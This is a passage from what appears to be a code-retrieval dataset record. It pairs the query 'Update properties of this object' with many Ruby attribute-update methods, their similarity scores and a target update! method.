Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end", "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end", "def update\n # TODO: implement update\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update\n \n end", "def refresh\n set_attributes\n end", "def update(attrs)\n @attrs.update(attrs)\n self\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "def update_resource object, attributes\n object.update attributes\n end", "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "def update\n \n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "def update\n @objects.map(&:update);\n end", "def update\n raise NotImplementedError\n end", "def update\n raise NotImplementedError\n end", "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update\n end", "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def modified_properties=(value)\n @modified_properties = value\n end", "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end", "def update\n\t\t\n\t\tend", "def set_props(props)\n @props.merge!(props)\n end", "def update() end", "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end", "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end", "def update_attributes(attrs)\n super({})\n end", "def update\n @dirty = true\n end", "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end", "def update\n super\n end", "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end", "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end", "def properties=(value)\n @properties = value\n end", "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end", "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update ; end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def update_with(attributes)\n assign_attributes(attributes)\n end", "def update\n # don't need to update; hash is shared\n end", "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end", "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update\n raise NotImplementedError\n end", "def update_attributes attributes\n @attributes.merge! attributes\n end", "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end", "def update\r\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end", "def update\n raise NotImplemented\n end", "def update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end", "def update_values\n end", "def update_values\n end", "def update\n raise NotImplementedError\n end", "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end", "def update attributes, collection #:nodoc:\n 0\n end", "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end", "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end", "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end", "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end", "def update\n set_deltatime\n set_last_update_at\n end" ]
[ "0.7012263", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.69181895", "0.67403597", "0.6709326", "0.6709326", "0.6696149", "0.6696149", "0.6696149", "0.6696149", "0.6618882", "0.6571848", "0.65386343", "0.65178275", "0.6394807", "0.6389745", "0.6389745", "0.63328", "0.6319025", "0.6283673", "0.6269463", "0.62639254", "0.62410724", "0.62170374", "0.62152076", "0.6210263", "0.6204041", "0.6204041", "0.62021106", "0.62017816", "0.62017", "0.61730784", "0.61730784", "0.6159277", "0.6156169", "0.61445665", "0.6125433", "0.61241156", "0.6121413", "0.6110477", "0.6105694", "0.61016303", "0.60845226", "0.6084427", "0.6065455", "0.6059506", "0.6054869", "0.6051708", "0.6051708", "0.60413384", "0.6030853", "0.6022535", "0.6015561", "0.59932375", "0.59898263", "0.5976479", "0.5973787", "0.59678394", "0.5963291", "0.5962048", "0.5961157", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.5950731", "0.59500545", "0.59443134", "0.59443134", "0.59424853", "0.59424853", "0.593523", "0.5926413", "0.5924831", "0.592427", "0.59233046", "0.59233046", "0.5921224", "0.59144294", "0.59142506", "0.58887535", "0.58854496", "0.5883008", "0.58792305", "0.5876954", "0.5876954", "0.58744955", "0.5857968", "0.5845542", "0.5841629", "0.58363605", "0.5829255", "0.582919", "0.5822138", "0.58208305" ]
0.0
-1
Update properties of this object
def update!(**args) @identifier = args[:identifier] if args.key?(:identifier) @type = args[:type] if args.key?(:type) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_properties(hash)\n hash.each do |key, value|\n setter_method = \"#{key}=\"\n if self.respond_to?(setter_method)\n self.send(setter_method, value)\n end\n end\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n end", "def refresh\n self.class.base_properties.each_with_index do |prop, prop_id|\n @properties[prop] = get_property(prop_id)\n end\n refresh_features\n refresh_status\n refresh_config\n self\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update!(**args)\n @subobject_properties = args[:subobject_properties] if args.key?(:subobject_properties)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update(attrs)\n super(attrs)\n end", "def update_properties!(branch_id=nil)\n properties = fetch_properties(false, branch_id)\n length = properties.length\n counter = 0\n properties.each do |property|\n counter += 1\n if Vebra.debugging?\n puts \"[Vebra]: #{counter}/#{length}: live updating property with Vebra ref: #{property.attributes[:vebra_ref]}\"\n end\n live_update!(property)\n Vebra.set_last_updated_at(Time.now) if counter == length\n end\n end", "def update_self obj\n obj.each do |k,v|\n instance_variable_set(\"@#{k}\", v) if v\n end\n end", "def update_attributes(properties_hash)\n self.class.get_class_properties.each do |property|\n key = property[:name].to_sym\n if properties_hash.has_key? key\n self.setValue(properties_hash[key], forKey:key)\n end\n end\n end", "def update\n # TODO: implement update\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @states = args[:states] if args.key?(:states)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @object = args[:object] if args.key?(:object)\n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @total_value_count = args[:total_value_count] if args.key?(:total_value_count)\n @value = args[:value] if args.key?(:value)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update\n \n end", "def refresh\n set_attributes\n end", "def update(attrs)\n @attrs.update(attrs)\n self\n end", "def update!(**args)\n @properties = args[:properties] if args.key?(:properties)\n @source = args[:source] if args.key?(:source)\n end", "def update_resource object, attributes\n object.update attributes\n end", "def update(attrs)\n @attrs ||= {}\n @attrs.update(attrs)\n self\n end", "def update\n \n end", "def update!(**args)\n @property = args[:property] if args.key?(:property)\n @schema = args[:schema] if args.key?(:schema)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update!(**args)\n @name = args[:name] if args.key?(:name)\n @options = args[:options] if args.key?(:options)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def update(attributes = {})\n super(attributes)\n retrieve!\n self\n end", "def _update!\n self.class.properties.each do |property, predicate|\n if dirty?(property)\n self.class.repository_or_fail.delete([subject, predicate[:predicate], nil])\n if self.class.is_list?(property)\n repo = RDF::Repository.new\n attribute_get(property).each do |value|\n repo << RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(value, self.class.properties[property][:type]))\n end\n self.class.repository_or_fail.insert(*repo)\n else\n self.class.repository_or_fail.insert(RDF::Statement.new(subject, predicate[:predicate], self.class.build_rdf_value(attribute_get(property), self.class.properties[property][:type])))\n end\n end\n @dirty[property] = nil\n @attributes[:original][property] = attribute_get(property)\n end\n self.class.repository_or_fail.insert(RDF::Statement.new(@subject, RDF.type, type)) unless type.nil?\n end", "def update\n @objects.map(&:update);\n end", "def update\n raise NotImplementedError\n end", "def update\n raise NotImplementedError\n end", "def live_update!(property)\n property_class = Vebra.models[:property][:class].to_s.camelize.constantize\n\n # ensure we have the full property attributes\n property.get_property if !property.attributes[:status] && property.attributes[:action] != 'deleted'\n\n # find & update or build a new property\n property_model = property_class.find_or_initialize_by_vebra_ref(property.attributes[:vebra_ref])\n\n # make sure property object is not empty\n return false if !property.attributes || !property.attributes[:property_type]\n\n # if the property has been deleted, mark it appropriately and move on\n if property.attributes[:action] == 'deleted'\n return property_model.destroy\n end\n\n # extract accessible attributes for the property\n property_accessibles = property_class.accessible_attributes.map(&:to_sym)\n property_attributes = property.attributes.inject({}) do |result, (key, value)|\n result[key] = value if property_accessibles.include?(key)\n result\n end\n\n # update the property model's attributes\n property_model.no_callbacks = true if property_model.respond_to?(:no_callbacks)\n property_model.update_attributes(property_attributes)\n\n # find & update or build a new address\n if Vebra.models[:address]\n address_class = Vebra.models[:address][:class].to_s.camelize.constantize\n address_model = property_model.send(Vebra.models[:property][:address_method])\n address_model = property_model.send(\"build_#{Vebra.models[:property][:address_method]}\") unless address_model\n\n # extract accessible attributes for the address\n address_accessibles = address_class.accessible_attributes.map(&:to_sym)\n address_attributes = property.attributes[:address].inject({}) do |result, (key, value)|\n result[key] = value if address_accessibles.include?(key)\n result\n end\n\n # update the address model's attributes\n address_model.update_attributes(address_attributes)\n end\n\n # find & update or build new rooms\n if Vebra.models[:room]\n room_class = Vebra.models[:room][:class].to_s.camelize.constantize\n\n # accessible attributes for the rooms\n room_accessibles = room_class.accessible_attributes.map(&:to_sym)\n\n # delete any rooms which are no longer present\n property_rooms = property.attributes[:rooms] || []\n property_model_rooms = property_model.send(Vebra.models[:property][:rooms_method])\n refs_to_delete = property_model_rooms.map(&:vebra_ref) - property_rooms.map { |r| r[:vebra_ref] }\n property_model_rooms.each do |room|\n room.destroy if refs_to_delete.include?(room.vebra_ref)\n end\n\n # find & update or build new rooms\n property_rooms.each do |room|\n room_model = room_class.find_by_property_id_and_vebra_ref(property_model.id, room[:vebra_ref])\n room_model = property_model_rooms.build unless room_model\n\n # extract accessible attributes for the room\n room_attributes = room.inject({}) do |result, (key, value)|\n result[key] = value if room_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n room_model.update_attributes(room_attributes)\n end\n end\n\n # find & update or build new file attachments\n if Vebra.models[:file]\n file_class = Vebra.models[:file][:class].to_s.camelize.constantize\n\n # accessible attributes for the files\n file_accessibles = file_class.accessible_attributes.map(&:to_sym)\n\n # first normalize the collection (currently nested collections)\n property_files = property.attributes[:files].inject([]) do |result, (kind, collection)|\n collection.each do |file|\n file[:type] = kind.to_s.singularize.camelize if file_accessibles.include?(:type)\n file[\"remote_#{Vebra.models[:file][:attachment_method]}_url\".to_sym] = file.delete(:url)\n # if file[:type] is set, it means the attachment file class can be subclassed. In this\n # case we need to ensure that the subclass exists. If not, we ignore this file\n begin\n file[:type].constantize if file_accessibles.include?(:type)\n result << file\n rescue NameError => e\n # ignore - this means the subclass does not exist\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n\n result\n end\n\n # delete any files which are no longer present\n property_model_files = property_model.send(Vebra.models[:property][:files_method])\n refs_to_delete = property_model_files.map(&:vebra_ref) - property_files.map { |f| f[:vebra_ref] }\n property_model_files.each do |file|\n file.destroy if refs_to_delete.include?(file.vebra_ref)\n end\n\n # find & update or build new files\n property_files.each do |file|\n begin\n file_model = property_model_files.find_by_vebra_ref(file[:vebra_ref])\n file_model = property_model_files.build unless file_model\n\n # extract accessible attributes for the file\n file_attributes = file.inject({}) do |result, (key, value)|\n result[key] = value if file_accessibles.include?(key)\n result\n end\n\n # update the room model's attributes\n file_model.update_attributes(file_attributes)\n rescue CarrierWave::ProcessingError, OpenURI::HTTPError => e\n # just ignore the file\n puts \"[Vebra]: #{e.message}\" if Vebra.debugging?\n end\n end\n end\n\n property_model.no_callbacks = false if property_model.respond_to?(:no_callbacks)\n property_model.save\n return property_model\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update\n end", "def update!(**args)\n @mid = args[:mid] if args.key?(:mid)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def modified_properties=(value)\n @modified_properties = value\n end", "def apply_properties!(properties)\n # Non-commutitivity etc. eventually.\n end", "def set_properties(hash)\n hash.each do |key, value|\n add_or_remove_ostruct_member(key, value)\n end\n rest_reset_properties\n end", "def update\n\t\t\n\t\tend", "def set_props(props)\n @props.merge!(props)\n end", "def update() end", "def update!(**args)\n @property_definitions = args[:property_definitions] if args.key?(:property_definitions)\n end", "def assign_properties\n self.properties ||= {}\n listing_properties.each do |prop|\n self.properties[prop.key] ||= prop.value\n end\n end", "def change_properties(new_current_floor, new_next_floor, new_movement)\n @current_floor = new_current_floor\n @next_floor = new_next_floor\n @movement = new_movement\n end", "def update!(**args)\n @property_value = args[:property_value] if args.key?(:property_value)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update!(**args)\n @property_name = args[:property_name] if args.key?(:property_name)\n end", "def update(attributes)\n (@attributes ||= {}).merge! attributes\n\n (self.class.attr_initializables & attributes.keys).each do |name|\n instance_variable_set :\"@#{name}\", attributes[name]\n end\n\n self\n end", "def update_attributes(attrs)\n super({})\n end", "def update\n @dirty = true\n end", "def update\n\n # Run through the mixin updates\n colourable_update\n movable_update\n\n end", "def set(props)\n props.each do |prop, val|\n self.send(:\"#{ prop }=\", val)\n end\n end", "def update\n super\n end", "def update!(**args)\n @property_id = args[:property_id] if args.key?(:property_id)\n @value_status = args[:value_status] if args.key?(:value_status)\n end", "def update!(**args)\n @object_size_bytes = args[:object_size_bytes] if args.key?(:object_size_bytes)\n @object_version = args[:object_version] if args.key?(:object_version)\n end", "def movable_update\n\n # Work through the different aspects we update\n movable_location_update\n movable_size_update\n movable_angle_update\n\n end", "def properties=(value)\n @properties = value\n end", "def update(attrs)\n attrs.each_pair do |key, value|\n send(\"#{key}=\", value) if respond_to?(\"#{key}=\")\n # attributes[key] = value <- lets make use of virtual attributes too\n end\n end", "def update(context={})\n self.pre_cast_attributes\n m2o = @relations.reject{|k, v| !self.class.many2one_relations.has_key?(k)}\n vals = @attributes.reject {|key, value| key == 'id'}.merge(m2o.merge(m2o){|k, v| v.is_a?(Array) ? v[0] : v})\n self.class.rpc_execute('write', self.id, vals, context)\n reload_from_record!(self.class.find(self.id, :context => context))\n end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update; end", "def update ; end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def method_missing(method, *args)\n super if @updated\n set_up_properties_from(@client.get(@path))\n self.send method, *args\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update!(**args)\n @freshness_duration = args[:freshness_duration] if args.key?(:freshness_duration)\n @freshness_property = args[:freshness_property] if args.key?(:freshness_property)\n end", "def update_with(attributes)\n assign_attributes(attributes)\n end", "def update\n # don't need to update; hash is shared\n end", "def update(attributes)\n HashProxy.with(attributes) do |proxy|\n self.class.attribute_names.each do |name|\n send(\"#{name}=\", proxy[name]) if proxy.key?(name)\n end\n end\n save\n end", "def update!(**args)\n @object_id_prop = args[:object_id_prop] if args.key?(:object_id_prop)\n @relation = args[:relation] if args.key?(:relation)\n @subject_id = args[:subject_id] if args.key?(:subject_id)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update!(**args)\n @boolean_property_options = args[:boolean_property_options] if args.key?(:boolean_property_options)\n @date_property_options = args[:date_property_options] if args.key?(:date_property_options)\n @display_options = args[:display_options] if args.key?(:display_options)\n @double_property_options = args[:double_property_options] if args.key?(:double_property_options)\n @enum_property_options = args[:enum_property_options] if args.key?(:enum_property_options)\n @html_property_options = args[:html_property_options] if args.key?(:html_property_options)\n @integer_property_options = args[:integer_property_options] if args.key?(:integer_property_options)\n @is_facetable = args[:is_facetable] if args.key?(:is_facetable)\n @is_repeatable = args[:is_repeatable] if args.key?(:is_repeatable)\n @is_returnable = args[:is_returnable] if args.key?(:is_returnable)\n @is_sortable = args[:is_sortable] if args.key?(:is_sortable)\n @is_suggestable = args[:is_suggestable] if args.key?(:is_suggestable)\n @is_wildcard_searchable = args[:is_wildcard_searchable] if args.key?(:is_wildcard_searchable)\n @name = args[:name] if args.key?(:name)\n @object_property_options = args[:object_property_options] if args.key?(:object_property_options)\n @text_property_options = args[:text_property_options] if args.key?(:text_property_options)\n @timestamp_property_options = args[:timestamp_property_options] if args.key?(:timestamp_property_options)\n end", "def update\n raise NotImplementedError\n end", "def update_attributes attributes\n @attributes.merge! attributes\n end", "def update!(**args)\n @async_options = args[:async_options] if args.key?(:async_options)\n @input_mappings = args[:input_mappings] if args.key?(:input_mappings)\n @name_property = args[:name_property] if args.key?(:name_property)\n @validation_options = args[:validation_options] if args.key?(:validation_options)\n end", "def update\r\n end", "def update!(**args)\n @hash_prop = args[:hash_prop] if args.key?(:hash_prop)\n @type = args[:type] if args.key?(:type)\n end", "def update\n raise NotImplemented\n end", "def 